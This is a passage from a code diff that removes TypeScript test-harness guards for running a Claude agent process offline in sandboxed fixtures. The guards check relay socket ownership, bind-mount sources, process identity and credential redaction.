Error("native fixture turn data declaration unavailable");}}); - const validate=()=>{ - const brainStamp=prior?.fixtureRootStamps.get(brain),currentBrain=lstatSync(brain,{bigint:true}); - if(!brainStamp||brainStamp.dev!==currentBrain.dev||brainStamp.ino!==currentBrain.ino)throw Error("native fixture turn data declaration unavailable"); - if(closed||!prior||prior.origin!==new URL(origin).origin||view.brain!==brain||!prior.fixtureRoots.includes(brain)||realpathSync(brain)!==brain||!isManagedWorkerStartupView(view)||!isNativeWorkerStartupRoot(view.root)||dirname(parent)!==expected||!/^[0-9a-f]{8}(?:-[0-9a-f]{4}){3}-[0-9a-f]{12}$/.test(basename(parent))||declared.length!==2||declared[0]!==join(parent,"data")||declared[1]!==join(parent,"index"))throw Error("native fixture turn data declaration unavailable"); - for(let i=0;i[path,stamps[i]!] as const)]),revalidate(){prior?.revalidate?.();validate();}}));const scoped=scriptedRoute.getStore(); - return ()=>{closed=true;if(scriptedRoute.getStore()===scoped)scriptedRoute.enterWith(authority);leave();}; -} - -/** Keep fixture authority at the SDK's existing spawn hook, across its async work. */ -export function nativeScriptedQuery(query: typeof sdkQuery, origin: string): typeof sdkQuery { - const captured = scriptedRoute.getStore(); - return input => { - const spawn = input.options?.spawnClaudeCodeProcess; - if (!spawn) return query(input); - return query({ ...input, options: { ...input.options, spawnClaudeCodeProcess: options => { - const prior = scriptedRoute.getStore(); - const leave = nativeScriptedService(origin, {fixtureRoots:[],fixtureFiles:[]}); - if (prior?.origin === new URL(origin).origin) scriptedRoute.enterWith(prior); - else if (captured?.origin === new URL(origin).origin) scriptedRoute.enterWith(captured); - try { return spawn(options); } finally { leave(); scriptedRoute.enterWith(prior); } - } } }); - }; -} - -const relayForwarding = new AsyncLocalStorage>(); -const ownedRelaySockets = new Map(); -const socketIdentity = (stat: { dev: bigint; ino: bigint }) => `${stat.dev}:${stat.ino}`; - -const ownedHttpServers = new WeakMap>(); -function rememberRelay(path: string, origin: string, isLive: () => boolean = () => true): () => void { - const stat = lstatSync(path, { bigint: true }); - const key = socketIdentity(stat), authority = { path, origin, dev: stat.dev, ino: stat.ino, isLive }; - ownedRelaySockets.set(key, authority); - return () => { if (ownedRelaySockets.get(key) === authority) ownedRelaySockets.delete(key); }; -} - -export function guardNativeHttpListen(server: object, args: unknown[]): void { - const route = scriptedRoute.getStore(); - const first = args[0] as string | { path?: string } | undefined; - const path = typeof first === "string" ? first : first?.path; - if (!route || !path?.startsWith("/")) return; - ownedHttpServers.set(server, route); - const events = server as { once(event: string, callback: () => void): void }; - events.once("listening", () => { const forget = rememberRelay(path, route.origin, () => (server as { listening: boolean }).listening); events.once("close", forget); }); -} - -export function guardNativeHttpEvent(server: object, event: unknown, invoke: () => unknown): unknown { - const route = ownedHttpServers.get(server); - return route && (event === "request" || event === "connect") ? relayForwarding.run(route, invoke) : invoke(); -} - -/** The guard creates the server and binds every transport in its handler. */ -export function guardNativeRelayServer(options: any, create: (options: any) => any): any { - const route = scriptedRoute.getStore(); - if (!route || typeof options.unix !== "string" || typeof options.fetch !== "function") return create(options); - const original = options.fetch; - const server = create({ ...options, fetch: function(this: unknown, ...args: unknown[]) { - return relayForwarding.run(route, () => Reflect.apply(original, this, args)); - } }); - const forget = rememberRelay(options.unix, route.origin), stop = server.stop; - // A hard link names the same live socket; a stopped server never leaves - // admission authority behind for a later object that reuses its inode. - server.stop = function(...args: unknown[]) { forget(); return Reflect.apply(stop, server, args); }; - return server; -} - -function normalizedOrigin(origin: string): string { - const url = new URL(origin); - if (url.hostname === "localhost") url.hostname = "127.0.0.1"; - return url.origin; -} - -export function assertNativeRelayDestination(url: URL): void { - const route = relayForwarding.getStore(); - if (!route) return; - const target = new URL(route.origin), requested = new URL(url); - if (target.hostname === "localhost") target.hostname = "127.0.0.1"; - if (requested.hostname === "localhost") requested.hostname = "127.0.0.1"; - if (requested.origin === target.origin) return; - denied++; - nativeReceipt({ kind: "native-offline-route-denial", success: false, reason: "unintended relay destination", head: nativeTestHead() }); - throw new Error("Native relay refused an unintended destination"); -} - -export function assertNativeRelaySocket(host: string, port: unknown): void { - if (!relayForwarding.getStore()) return; - assertNativeRelayDestination(new URL(`http://${host === "::1" ? "[::1]" : host}:${port}`)); -} - -export function assertNativeRelayUnix(path: string): void { - const route = relayForwarding.getStore(); - if (!route) return; - let origin: string | undefined; - try { origin = ownedSocketOrigin(path); } catch { /* Unknown socket. */ } - if (origin && normalizedOrigin(origin) === normalizedOrigin(route.origin)) return; - assertNativeRelayDestination(new URL("http://unowned-native-ipc.invalid")); -} - -function relayCredentialPlaceholders(env: Record): Record { - return Object.fromEntries(["ANTHROPIC_API_KEY", "ANTHROPIC_AUTH_TOKEN", "CLAUDE_CODE_OAUTH_TOKEN"].filter(key=>env[key]!==undefined).map(key => - [key, env[key] === "brain-inference-relay-placeholder" ? env[key]! : ""])); -} - -function ownedSocketOrigin(path: string): string | undefined { - let real: string; - try { real = realpathSync(path); } catch { return; } - const stat = lstatSync(real, { bigint: true }); - const authority = ownedRelaySockets.get(socketIdentity(stat)); - if (!authority?.isLive()) return; - return stat.isSocket() && stat.dev === authority.dev && stat.ino === authority.ino ? authority.origin : undefined; -} - -function socketMatchesOrigin(path:string,origin:string):boolean { - const peer=ownedSocketOrigin(path);return Boolean(peer&&normalizedOrigin(peer)===normalizedOrigin(origin)); -} - -function admittedRelay(argv: string[], socket: string): { origin: string; path: string } | undefined { - for (let i = 0; i < argv.length - 2; i++) { - if (!["--ro-bind", "--bind"].includes(argv[i]!) || !within(argv[i + 2]!, socket)) continue; - const path = join(argv[i + 1]!, socket.slice(argv[i + 2]!.length)); - let real: string; - try { real = realpathSync(path); } catch { continue; } - const stat = lstatSync(real, { bigint: true }); - const authority = ownedRelaySockets.get(socketIdentity(stat)); - if (!authority?.isLive()) continue; - if (!stat.isSocket() || stat.dev !== authority.dev || stat.ino !== authority.ino) continue; - // A directory bind exposes its whole subtree, including symlink aliases. - // No socket in that view may escape the same live scripted authority. - const directory = statSync(argv[i + 1]!).isDirectory() ? argv[i + 1]! : undefined; - if (directory && !relaySubtreeOwned(directory, authority.origin)) return; - return { origin: authority.origin, path: real }; - } -} - -function mountInputEvidence(input: string, destination: string, index: number, error: unknown, fixtureRoots: readonly string[] = [],role?:"product-checkpoint"|"product-keeper"|"product-scratch"): Record { - const fixture=fixtureRoots.find(root=>within(root,resolve(input))); - const privateIndex=/^brain-private-index-[A-Za-z0-9]+$/.test(basename(input))&&basename(destination)===".brain-index"; - const copiedInput=/^brain-turn-data-[A-Za-z0-9]+$/.test(basename(input))||[...copiedFixtureTurnTrees].some(role=>role.root===input||role.index===input); - const known=SYSTEM.includes(input)||SYSTEM_FILES.includes(input); - const targetFixture=fixtureRoots.find(root=>within(root,resolve(destination))); - const workspaceTarget=within(ROOT,resolve(destination)); - return { mount:index, - ...(targetFixture?{targetFixtureRoot:fixtureRoots.indexOf(targetFixture),targetRelativePath:resolve(destination).slice(targetFixture.length).replace(/^\//,"")||"."}:workspaceTarget?{targetWorkspacePath:resolve(destination).slice(ROOT.length).replace(/^\//,"")}:{}), sourceKind:role??(copiedInput?"fixture-turn-data":privateIndex?"product-private-index":known?"fixed-system":input.startsWith("/proc/")?"descriptor":fixture?"fixture-declared":"unregistered-source"), - ...(known?{systemRoot:input}:fixture?{fixtureRoot:fixtureRoots.indexOf(fixture),relativePath:resolve(input).slice(fixture.length).replace(/^\//,"")}:{}), - targetKind:destination.startsWith("/etc/")?"isolated-config":destination.startsWith("/tmp/")?"fixture-temporary":"runtime-or-fixture", - metadataError:(error as NodeJS.ErrnoException)?.code??"UNKNOWN" }; -} - -/** Validate the same bind-source inventory used to construct the native view. */ -function assertNativeMountSockets(mounts:readonly string[],origin:string,keeper?:KeeperInspection,route=scriptedRoute.getStore()):void {return withStageLinkView(keeper,mounts,()=>assertNativeMountSocketsInView(mounts,origin,keeper,route));} -function assertNativeMountSocketsInView(mounts: readonly string[], origin: string, keeper?: KeeperInspection,route=scriptedRoute.getStore()): void { - const roots: string[] = [],canonical=fixtureWalkRealpath(); - for (let i = 0; i < mounts.length; i++) { - const flag = mounts[i]!; - if (flag.startsWith("--overlay") || flag.includes("bind-fd")) refuse("unsupported native mount source"); - if (["--bind", "--ro-bind", "--dev-bind", "--bind-try", "--ro-bind-try", "--dev-bind-try"].includes(flag)) { - const input = mounts[i + 1]!, destination = resolve(mounts[i + 2]!); - if (FORBIDDEN_BIND_ROOTS.has(resolve(input)) || FORBIDDEN_BIND_ROOTS.has(destination)) refuse("native bind exposes a forbidden host service root"); - let source: string; - try { source = inspectedWorkerSource(input, keeper); } catch(error) { refuse("native mount source is unavailable",mountInputEvidence(input,destination,i,error,scriptedRoute.getStore()?.fixtureRoots)); } - if (FORBIDDEN_BIND_ROOTS.has(source)) refuse("native bind exposes a forbidden host service root"); - const system = [...SYSTEM, ...SYSTEM_FILES].some(path => { - try { return destination === path && source === realpathSync(path); } catch { return false; } - }); - if (flag !== "--ro-bind" && (system || SYSTEM.some(root => { try { return within(canonical(root), source); } catch { return false; } }))) refuse("native system mounts must be read-only"); - // No recursive walk of the fixed distribution view. All other binds, - // including fixture tools, homes, caches and relay storage, fail closed. - if (!system&&!copiedBrainBindShadowed(mounts,i,route)) roots.push(source); - i += 2; - } - } - const fixturePath = (path: string) => { - const root = roots.filter(root => within(root, path)).sort((a,b) => b.length-a.length)[0]; - if (!root) return { storage: "outside-mount-inventory" }; - const mount = roots.indexOf(root); - // Only constant OS roots may be identified outside synthetic fixture storage. - const systemRoot = SYSTEM.find(path => { try { return realpathSync(path) === root; } catch { return false; } }); - const fixture = within(ROOT, root) || within(tmpdir(), root); - return fixture - ? { mount, storage: within(ROOT, root) ? "workspace-fixture" : "temporary-fixture", relativePath: path.slice(root.length).replace(/^\//, "") || "." } - : { mount, storage: "outside-fixture", source: systemRoot ? "system-runtime" : "other-bound-source", ...(systemRoot ? { systemRoot } : {}) }; - }; - let refusedSocket: Record | undefined; - let inspected = "", metadataError: string | undefined; - const visited = new Set(); - const visit = (path: string): boolean => { - inspected = path; - let real: string; - try { real = inspectionRealpath(path,keeper); } catch (error) { - // Every missing or unreadable non-system entry refuses. - metadataError = (error as NodeJS.ErrnoException).code ?? "UNKNOWN"; - return false; - } - // Aliases into fixed distribution roots follow the same read-only policy; - // aliases into unmounted storage are inaccessible in the child. - if (real !== path && SYSTEM.some(root => { try { return within(canonical(root), real); } catch { return false; } }) || !roots.some(root => within(canonical(root),real))) return true; - const access=inspectionAccessPath(path,keeper),info = lstatSync(access, { bigint: true }); - if (info.isSocket()) { - const peer = ownedSocketOrigin(real); - const allowed = Boolean(peer && normalizedOrigin(peer) === normalizedOrigin(origin)); - if (!allowed) refusedSocket = { ...fixturePath(real), device: String(info.dev), inode: String(info.ino) }; - return allowed; - } - if (!info.isDirectory()) return true; - const key = socketIdentity(info); - if (visited.has(key)) return true; - visited.add(key); - return readdirSync(access).every(name => visit(join(access, name))); - }; - try { if (roots.every(visit)) return; } catch (error) { metadataError = (error as NodeJS.ErrnoException).code ?? "UNKNOWN"; } - refuse("fixture storage contains an unowned Unix socket or directory alias", { - refusedSocket: refusedSocket ?? { ...fixturePath(inspected), metadataError: metadataError ?? "UNKNOWN" }, - ownedSockets: [...ownedRelaySockets.values()].map(socket => ({ ...fixturePath(socket.path), device: String(socket.dev), inode: String(socket.ino), live: socket.isLive() })), - }); -} - -function relaySubtreeOwned(directory: string, origin: string): boolean { - const root = realpathSync(directory), visited = new Set(); - const visit = (path: string): boolean => { - const real = realpathSync(path); - if (!within(root, real)) return false; - const info = lstatSync(real, { bigint: true }); - if (info.isSocket()) { - const peer = ownedSocketOrigin(real); - return Boolean(peer && normalizedOrigin(peer) === normalizedOrigin(origin)); - } - if (!info.isDirectory()) return true; - const key = socketIdentity(info); - if (visited.has(key)) return true; - visited.add(key); - return readdirSync(real).every(name => visit(join(real, name))); - }; - try { return visit(root); } catch { return false; } -} - -const createdFixtureRoots = new Map(); -/** This creates a fresh owned tree; it cannot mark an existing host directory. */ -export function nativeFixtureDirectory(prefix: string): string { - if(prefix!==basename(prefix)||!/^[A-Za-z0-9_-]+$/.test(prefix))refuse("invalid fixture directory prefix"); - const root=mkdtempSync(join("/tmp",prefix)); - const info=lstatSync(root,{bigint:true});createdFixtureRoots.set(root,{dev:info.dev,ino:info.ino});return root; -} - -interface FixtureKeeper { mount: string; namespacePid: number; namespaceStart: string; root: string } -interface KeeperInspection { brain?:string;mount:string;snapshot:string;managed:boolean;ordinary:boolean;bindSources:Map;live():boolean;refresh():void } -const guardedChildren = new Map(); -const bootstrapDiagnostics=new Map(); -export function nativeBootstrapStatus(pid:number){return bootstrapDiagnostics.get(pid);} -const fixtureKeepers = new Map; bindSources:Map; claim():void; dispose(): void }>(); -interface NativeFixtureRtkSpawn { start:string; launch:import("../packages/ui-sdk/src/server/worker-launcher").WorkerLaunch; expected:readonly string[]; liveExecs:()=>ReadonlyMap } -const nativeFixtureRtkSpawns=new Map(); -/** Host-only observation; a payload cannot mint an owned spawn or audit handle. */ -export function observeNativeFixtureRtkSpawn(pid:number,launch:import("../packages/ui-sdk/src/server/worker-launcher").WorkerLaunch,expected:readonly string[],liveExecs:()=>ReadonlyMap):void { - const start=guardedChildren.get(pid); - if(!start||processStart(pid)!==start)throw Error("native fixture RTK spawn is unregistered"); - nativeFixtureRtkSpawns.set(pid,{start,launch:structuredClone(launch),expected:[...expected],liveExecs}); - if(nativeFixtureRtkSpawns.size>256)nativeFixtureRtkSpawns.delete(nativeFixtureRtkSpawns.keys().next().value!); -} -/** Fixed diagnostics only; none of these observations grants adapter authority. */ -export function nativeRtkProcessEvidence(pid:number){ - const label=(error:unknown)=>{const code=(error as NodeJS.ErrnoException).code;return ["ENOENT","EACCES","EPERM","ESRCH","ELOOP","ENOTDIR"].includes(code??"")?code!:"unknown";}; - let processState="unknown",leader:boolean|null=null; - try{const status=readFileSync(`/proc/${pid}/status`,"utf8"),state=/^State:\s+(\S)/m.exec(status)?.[1];processState=({R:"running",S:"sleeping",D:"disk-sleep",Z:"zombie",T:"stopped",t:"tracing-stop",X:"dead",I:"idle"} as Record)[state??""]??"unknown";const tgid=/^Tgid:\s+(\d+)/m.exec(status);if(tgid)leader=Number(tgid[1])===pid;}catch(error){if(label(error)==="ENOENT")processState="missing";} - let exeReadlink="ok",exeStat="ok";try{readlinkSync(`/proc/${pid}/exe`);}catch(error){exeReadlink=label(error);}try{statSync(`/proc/${pid}/exe`);}catch(error){exeStat=label(error);} - return {processState,leader,exeReadlink,exeStat}; -} -/** Kernel state and the audited start identity must both remain readable. */ -function nativeRtkCandidateState(pid:number,auditedStart:string):string { - let fields:string[];try{fields=readFileSync(`/proc/${pid}/stat`,"utf8").replace(/^.*\) /s,"").trim().split(/\s+/);}catch{throw Error("native fixture RTK worker identity unavailable");} - if(fields[19]!==auditedStart)throw Error("native fixture RTK audited identity changed"); - const state=fields[0]!; - if(!["R","S","D","T","t","I","Z","X"].includes(state))throw Error("native fixture RTK worker identity unavailable"); - return state; -} -function nativeRtkExitedState(state:string):boolean {return state==="Z"||state==="X";} -/** Re-register only the kernel/audit-proven payload view hidden by our broker. */ -export function registerNativeFixtureRtk(worker:import("../packages/ui-sdk/src/server/worker-launcher").LaunchedWorker):{pid:number;launch:import("../packages/ui-sdk/src/server/worker-launcher").WorkerLaunch} { - const record=nativeFixtureRtkSpawns.get(worker.pid); - if(!record)throw Error("native fixture RTK spawn is unregistered"); - if(processStart(worker.pid)!==record.start)throw Error("native fixture RTK root identity changed"); - const expected=[...new Set(record.expected.map(path=>{try{return realpathSync(path);}catch(error){throw Error("native fixture RTK executable unavailable",{cause:{source:"canonicalize-selected",errno:(error as NodeJS.ErrnoException).code}});}}))]; - if(expected.length!==1)throw Error("native fixture RTK runtime selection ambiguous"); - const positions=new Map([[worker.pid,{depth:0,parentRole:"none"}]]); - const owned=new Map(),pending=[worker.pid]; - while(pending.length){ - const pid=pending.pop()!;if(owned.has(pid))continue;if(owned.size>=512)throw Error("native fixture RTK ancestry bound"); - try{owned.set(pid,processStart(pid));const children=readFileSync(`/proc/${pid}/task/${pid}/children`,"utf8").trim();if(children)for(const child of children.split(/\s+/).map(Number)){if(!positions.has(child))positions.set(child,{depth:Math.min(512,(positions.get(pid)?.depth??0)+1),parentRole:pid===worker.pid?"launch-root":"descendant"});pending.push(child);}}catch(error){if(pid===worker.pid)throw error;} - } - const selected:number[]=[]; - for(const [pid,auditedStart] of record.liveExecs()){ - const start=owned.get(pid);if(!start)continue; - if(start!==auditedStart)throw Error("native fixture RTK audited identity changed"); - if(nativeRtkExitedState(nativeRtkCandidateState(pid,auditedStart)))continue; - let executable:string;try{executable=realpathSync(`/proc/${pid}/exe`);}catch(error){ - // A process may exit after the first state read, leaving a zombie inode. - if((error as NodeJS.ErrnoException).code==="ENOENT"&&nativeRtkExitedState(nativeRtkCandidateState(pid,auditedStart)))continue; - throw Error("native fixture RTK executable unavailable",{cause:{source:"read-proc-exe",errno:(error as NodeJS.ErrnoException).code,...nativeRtkProcessEvidence(pid)}}); - } - if(nativeRtkProcessEvidence(pid).leader!==true)throw Error("native fixture RTK audited identity changed"); - if(!expected.includes(executable))throw Error("native fixture RTK executable changed",{cause:expected.some(path=>basename(path)===basename(executable))?"basename-equal-but-path-differs":"different-basename"}); - if(processStart(pid)!==start)throw Error("native fixture RTK payload identity changed"); - if(nativeRtkExitedState(nativeRtkCandidateState(pid,auditedStart)))continue; - selected.push(pid); - } - const diagnosticRole=(pid:number):string=>{try{ - const pin=owned.get(pid);if(!pin||processStart(pid)!==pin)return "expired"; - const args=readFileSync(`/proc/${pid}/cmdline`).subarray(0,65536).toString("utf8").split("\0"); - const role=args.includes("--version")?"version-probe":args.some((arg,i)=>arg==="--input-format"&&args[i+1]==="stream-json")?"sdk-stream":args.includes("--mcp-client")?"mcp-client":"other"; - return processStart(pid)===pin?role:"expired"; - }catch{return "unavailable";}}; - const diagnosticAncestry=(pid:number)=>{const chain:Array<{depth:number;parentRole:string;argvRole:string;state:string}>=[];const seen=new Set(); - for(let cursor=pid;owned.has(cursor)&&!seen.has(cursor)&&chain.length<64;){seen.add(cursor);const position=positions.get(cursor)!;let parent=0,state="unavailable";try{const status=readFileSync(`/proc/${cursor}/status`,"utf8");parent=Number(/^PPid:\s+(\d+)/m.exec(status)?.[1]??0);state=/^State:\s+([A-Z])/m.exec(status)?.[1]??"unavailable";}catch{} - chain.push({...position,argvRole:diagnosticRole(cursor),state});cursor=parent; - }return chain;}; - if(selected.length!==1)throw Error(selected.length===0?"native fixture RTK payload missing":"native fixture RTK payload ambiguous",{cause:{candidateCount:selected.length,candidates:selected.map(pid=>({...positions.get(pid)!,state:nativeRtkProcessEvidence(pid).processState,argvRole:diagnosticRole(pid),ancestry:diagnosticAncestry(pid)}))}}); - if(processStart(worker.pid)!==record.start||processStart(selected[0]!)!==owned.get(selected[0]!))throw Error("native fixture RTK identity changed"); - if(nativeRtkExitedState(nativeRtkCandidateState(selected[0]!,owned.get(selected[0]!)!)))throw Error("native fixture RTK payload missing"); - const {registerWorkerRtk}=createRequire(import.meta.url)("../packages/ui-sdk/src/server/worker-rtk.ts") as typeof import("../packages/ui-sdk/src/server/worker-rtk"); - registerWorkerRtk(worker,selected[0]!,record.launch); - return {pid:selected[0]!,launch:record.launch}; -} - -function processStart(pid: number): string { return readFileSync(`/proc/${pid}/stat`, "utf8").replace(/^.*\) /s, "").split(" ")[19]!; } -/** Keep short named credentials out of test-only diagnostic records. */ -export function redactNativeDiagnosticAssignments(text:string):string { - return text.replace(/(? } -/** Tee only the trusted bootstrap's FIFO, preserving its bytes for the launcher. */ -export function prepareNativeBootstrapDiagnostics(options:Record):{options:Record;attach(child:{stderr:ReadableStream}):BootstrapEvidence;dispose():void}|undefined { - const destination=options.stdio?.[2]??options.stderr; - if(typeof destination!=="number")return; - let fd:number|undefined; - try{fd=openSync(`/proc/self/fd/${destination}`,constants.O_WRONLY);}catch{return;} - let pipes:ReturnType; - let fifoStream:typeof import("../packages/ui-sdk/src/server/worker-pipes").fifoStream; - try{const helper=createRequire(import.meta.url)("../packages/ui-sdk/src/server/worker-pipes.ts") as typeof import("../packages/ui-sdk/src/server/worker-pipes");pipes=helper.createWorkerPipes();fifoStream=helper.fifoStream;} - catch{closeSync(fd);return;} - const changed=options.stdio?{...options,stdio:options.stdio.map((value:unknown,index:number)=>index===2?pipes.child[2]:value)}:{...options,stderr:pipes.child[2]}; - return {options:changed,dispose(){pipes.cleanup();if(fd!==undefined){closeSync(fd);fd=undefined;}},attach(_child){ - let first=Buffer.alloc(0),tail=Buffer.alloc(0),observed=0; - pipes.closeChild();const ends=pipes.take();closeSync(ends.stdin);closeSync(ends.stdout); - const source=Readable.fromWeb(fifoStream(ends.stderr) as any),sink=createWriteStream("",{fd:fd!,autoClose:true});fd=undefined; - source.on("data",(chunk:Buffer)=>{observed+=chunk.length;const keep=Math.min(chunk.length,4096-first.length);if(keep>0)first=Buffer.concat([first,chunk.subarray(0,keep)]);tail=Buffer.concat([tail,chunk.subarray(-4096)]).subarray(-4096);}); - const drained=pipeline(source,sink).then(()=>{},()=>{}); - return {drained,snapshot(){let prefix=first.toString("utf8"),suffix=tail.toString("utf8");if(observed>first.length)prefix=prefix.slice(0,Math.max(0,prefix.lastIndexOf("\n")));if(observed>tail.length)suffix=suffix.slice(suffix.indexOf("\n")<0?suffix.length:suffix.indexOf("\n")+1);return observed<=first.length?prefix:prefix+"\n"+suffix;}}; - }}; -} -const parentTerminatedBootstraps=new WeakSet(),observedBootstrapKills=new WeakSet(); -export function recordNativeGuardChild(child: { pid: number; exited: Promise;exitCode?:number|null;signalCode?:string|number|null;kill?(signal?:NodeJS.Signals|number):void },bootstrap=false,evidence?:BootstrapEvidence,nativeExecuted?:()=>boolean): Promise { - let completion=Promise.resolve(); - const diagnosticRoots=[...(scriptedRoute.getStore()?.fixtureRoots??[])]; - if(bootstrap){ - const kill=child.kill?.bind(child); - if(kill&&!observedBootstrapKills.has(child)){ - observedBootstrapKills.add(child); - Object.defineProperty(child,"kill",{configurable:true,writable:true,value:(signal?:NodeJS.Signals|number)=>{ - const terminating=signal===undefined||["SIGTERM","SIGKILL","SIGINT",15,9,2].includes(signal); - if(terminating)parentTerminatedBootstraps.add(child); - try{return kill(signal);}catch(error){if(terminating)parentTerminatedBootstraps.delete(child);throw error;} - }}); - } - bootstrapDiagnostics.set(child.pid,{get exitCode(){return child.exitCode??null;},get signalCode(){return child.signalCode??null;}}); - if(bootstrapDiagnostics.size>256)bootstrapDiagnostics.delete(bootstrapDiagnostics.keys().next().value!); - const report=async(code:number|null)=>{ - let executed=false;try{if(code!==0||child.signalCode)executed=nativeExecuted?.()===true;}catch{ /* Unproven exec remains a bootstrap failure. */ } - if(!executed||code===0&&!child.signalCode)nativeReceipt({kind:"native-offline-bootstrap-exit",head:nativeTestHead(),pid:child.pid,parentPid:process.pid,exitCode:code,signal:child.signalCode??null}); - if(code===0&&!child.signalCode)return; - if(["SIGTERM","SIGKILL","SIGINT",15,9,2].includes(child.signalCode??"")){ - nativeReceipt({kind:executed?"native-offline-native-exit":"native-offline-bootstrap-termination",head:nativeTestHead(),pid:child.pid,parentPid:process.pid,exitCode:code,signal:child.signalCode??null, - reason:parentTerminatedBootstraps.has(child)?"terminated by parent signal":"terminated by signal"});return; - } - if(evidence){let timer:ReturnType|undefined;await Promise.race([evidence.drained,new Promise(resolve=>{timer=setTimeout(resolve,2000);timer.unref();})]);clearTimeout(timer);} - const text=evidence?.snapshot()??""; - const safe=compilerDiagnostic(redactNativeDiagnosticAssignments(labelNativeMountErrors(text,diagnosticRoots).replace(/^[ \t]*(?:Args|Arguments|argv|Env|Environment):[^\n]*(?:\n|$)/gim,"[redacted startup metadata]\n"))); - nativeReceipt({kind:executed?"native-offline-native-exit":"native-offline-bootstrap-failure",head:nativeTestHead(),pid:child.pid,parentPid:process.pid,exitCode:code,signal:child.signalCode??null, - reason:safe||(executed?"native payload exited nonzero without stderr":"worker bootstrap exited nonzero; stderr reason unavailable")}); - }; - completion=child.exited.then(report,()=>report(null)); - } - let start: string; try { start = processStart(child.pid); } catch { return completion; } - guardedChildren.set(child.pid, start); - - void child.exited.finally(() => { if (guardedChildren.get(child.pid) === start) guardedChildren.delete(child.pid);if(nativeFixtureRtkSpawns.get(child.pid)?.start===start)nativeFixtureRtkSpawns.delete(child.pid); }).catch(() => {}); - return completion; -} -/** Fixture-owned output descriptor plus a live, guard-observed namespace; no path exemption. */ -export function registerNativeFixtureKeeper(storage: FixtureKeeper): () => void { - try { return registerFixtureKeeper(storage); } - catch(error) { if(String(error).includes("Offline native Claude refused before launch:"))throw error;return refuse("fixture keeper provenance is unavailable"); } -} -/** Inspect pinned readable entries in place; inaccessible entries use the bounded worker reader. */ -/** Producer-private entries get the same native candidate detection as argv. */ -function assertPreparedFixtureExecutable(relative:string,path:string,mode:number):void { - if(!/^(?:\.git\/hooks(?:\/|$)|\.brain-maintenance-git-[0-9a-f-]+(?:\/|$))/.test(relative)||!(mode&0o111))return; - if(isNativeClaude(path))refuse("native runtime in prepared fixture executable"); -} -const inPlaceFixtureSnapshots=new Set(); -const opaqueStageSnapshots=new Map(); -// Inspection copies are guard-owned; restore traversal only while destroying them. -function removeFixtureSnapshot(snapshot:string):void { - if(inPlaceFixtureSnapshots.has(snapshot))return; - if(!existsSync(snapshot))return;const owner=lstatSync(snapshot).uid;const restore=(path:string):void=>{const node=lstatSync(path);if(!node.isDirectory()||node.isSymbolicLink())return;if(node.uid!==owner)throw Error("Snapshot cleanup owner changed");chmodSync(path,0o700);for(const name of readdirSync(path))restore(join(path,name));}; - if(existsSync(snapshot))restore(snapshot);rmSync(snapshot,{recursive:true,force:true}); -} -function clearOpaqueSnapshot(snapshot:string){ - stageLinkViews.delete(snapshot); - for(const path of opaqueStageSnapshots.keys())if(within(snapshot,path))opaqueStageSnapshots.delete(path); - for(const [path,owners] of inPlaceFixtureFiles){const finding=owners.get(snapshot);if(finding?.fd!==undefined)closeSync(finding.fd);owners.delete(snapshot);if(!owners.size)inPlaceFixtureFiles.delete(path);} -} -// A walk is synchronous: no result survives an await or an execution boundary. -let fixtureValidationWalk:Set<()=>boolean>|undefined; -let fixtureValidatedFindings:Set|undefined; -function fixtureWalk(run:()=>T,fresh=false):T { - const previous=fixtureValidationWalk,previousFindings=fixtureValidatedFindings; - if(previous&&!fresh)return run(); - fixtureValidationWalk=new Set();fixtureValidatedFindings=new Set(); - try{return run();}finally{fixtureValidationWalk=previous;fixtureValidatedFindings=previousFindings;} -} -function fixtureFreshness(check:()=>boolean):boolean { - if(fixtureValidationWalk?.has(check))return true; - const current=guardTiming("stage-freshness",check);if(current)fixtureValidationWalk?.add(check);return current; -} -let stageCaptureSlots=0; -const stageCaptureWaiters:(()=>void)[]=[]; -async function stageCaptureSlot():Promise<()=>void>{ - if(stageCaptureSlots>=3)await new Promise(resolve=>stageCaptureWaiters.push(resolve)); - else stageCaptureSlots++; - return ()=>{const next=stageCaptureWaiters.shift();if(next)next();else stageCaptureSlots--;}; -} -const stageEntryLinks=new WeakMap,ReadonlyMap>(); -const stageEntryHashes=new WeakMap,ReadonlyMap>(); -const stageEntryKeys=new WeakMap,ReadonlyMap>(); -const inPlaceFixtureFiles=new Map>(); -type StageLinkView={root:string;links:ReadonlyMap;entries:ReadonlySet;opaque:readonly OpaqueStageNode[]}; -const stageLinkViews=new Map(); -const stageLinkContext=new AsyncLocalStorage<{snapshot:string;access:ReadonlyMap}>(); -function inspectStageLinkTargets(snapshot:string,view:StageLinkView,targets:ReadonlyMap,keeper?:KeeperInspection):void { - for(const target of targets.values()){ - if(view.opaque.some(node=>node.path===target||target.startsWith(node.path+"/")))throw Error("Stage symlink target is opaque"); - const path=join(snapshot,target),real=realpathSync(path); - if(lstatSync(path).isFile()||inPlaceFixtureFiles.get(real)?.has(snapshot))if(isNativeClaude(inspectionAccessPath(path,keeper??{managed:true,snapshot} as KeeperInspection)))refuse("native runtime in stage symlink target"); - } -} -function withStageLinkView(keeper:KeeperInspection|undefined,mounts:readonly string[],run:()=>T):T { - try{const view=keeper?.managed?stageLinkViews.get(keeper.snapshot):undefined;if(!view||!view.links.size)return run(); - if(!keeper!.brain||!keeper!.live())throw Error("Stage link view registration expired"); - const targets=resolveNativeStageLinks({...view,view:{source:keeper!.mount,destination:keeper!.brain,mounts}}); - if(targets.size!==view.links.size)throw Error("Stage link view mapping incomplete"); - const access=new Map([...targets].map(([path,target])=>[join(keeper!.snapshot,path),join(keeper!.snapshot,target)])); - return stageLinkContext.run({snapshot:keeper!.snapshot,access},()=>{inspectStageLinkTargets(keeper!.snapshot,view,targets,keeper);return run();}); - }catch(error){if(String(error).includes("Offline native Claude refused before launch:"))throw error;const e=error as Error&{sourceBindings?:number;destinationBindings?:number;matchingBindings?:number};nativeReceipt({kind:"native-fixture-stage-link-check",reason:["Stage link view mapping differs","Stage link view overlay changed","Stage link view registration expired","Invalid stage view mount","Invalid stage view option","Unrecognized stage view option","Noncanonical stage view destination","Stage symlink cycle","Stage symlink target outside mapped view","Stage symlink target outside stage","Uninspected stage symlink target","Stage symlink target is opaque"].includes(e.message)?e.message:"unclassified",...(Number.isSafeInteger(e.sourceBindings)?{sourceBindings:e.sourceBindings,destinationBindings:e.destinationBindings,matchingBindings:e.matchingBindings}:{})});return refuse("managed fixture stage link view differs");} -} -function inspectionRealpath(path:string,keeper?:KeeperInspection):string {const view=stageLinkContext.getStore();return realpathSync(view&&view.snapshot===keeper?.snapshot?view.access.get(path)??path:path);} -function stageMetadataKey(row:{path:string;kind:string;stamp:string;mode:number;bytes:number;inode:string},reader:StageReaderIdentity):string { 